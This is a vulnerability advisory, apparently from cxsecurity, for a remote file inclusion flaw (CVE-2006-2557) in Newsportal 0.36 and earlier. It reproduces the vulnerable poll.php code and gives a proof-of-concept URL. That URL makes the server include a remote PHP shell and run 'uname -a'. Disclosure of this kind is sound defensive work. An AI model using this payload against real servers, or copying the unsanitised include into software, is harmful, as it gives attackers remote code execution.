Bug: Newsportal <= 0.36 Remote File Inclusion Vulnerability ( Ascii Version )

Search:
WLB2

Newsportal <= 0.36 Remote File Inclusion Vulnerability

Published
Credit
Risk
2006.05.25
Florian Amrhein & Philipp Niedziela
Low
CWE
CVE
Local
Remote
N/A
CVE-2006-2557
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.4/10
4.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
None

Newsportal <= 0.36 Remote File Inclusion Vulnerability

[+] Affected Software: Newsportal <= 0.36 + register_globals=on
[+] Vendor: http://florian-amrhein.de/newsportal
[+] Contact. philipp.niedziela<img src="/imgs/at.gif" border=0 align=middle>gmx.de
[+] Vuln discovered by: Florian Amrhein
[+] PoC by: Philipp Niedziela

// CODE [newsportal]/extras/poll/poll.php --------------------------------------------

<?
// experimental!
// fills article-cache
$url=explode("/",$PATH_INFO);
$group=$url[1];
include "config.inc";
$title.= ' - '.$group;
include "head.inc"; ?>

<a name="top"></a>
<h1 align="center"><?php echo $group; ?></h1>

<p>Lese Overview- und Artikeldaten ein...</p>

<?

// -----> VULN
include("$file_newsportal");
// <----- VULN

$ns=OpenNNTPconnection($server,$port);
flush();
if ($ns != false) {
$headers = readOverview($ns,$group,1,true);
closeNNTPconnection($ns);
}
?>

<p align="right"><a href="#top"><? echo
$text_thread["button_top"];?></a></p>

<? include "tail.inc"; ?>

// CODE --------------------------------------------

[+] PoC:

http://[url]/[pathtonewsportal]/extras/poll/poll.php?file_newsportal=http://localhost/phpshell.txt?cmd=uname -a

[+] Solution: Upgrade to 0.37 || del. [newsportal]/extras/poll/poll.php
[+] Greets: Lenni :)

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version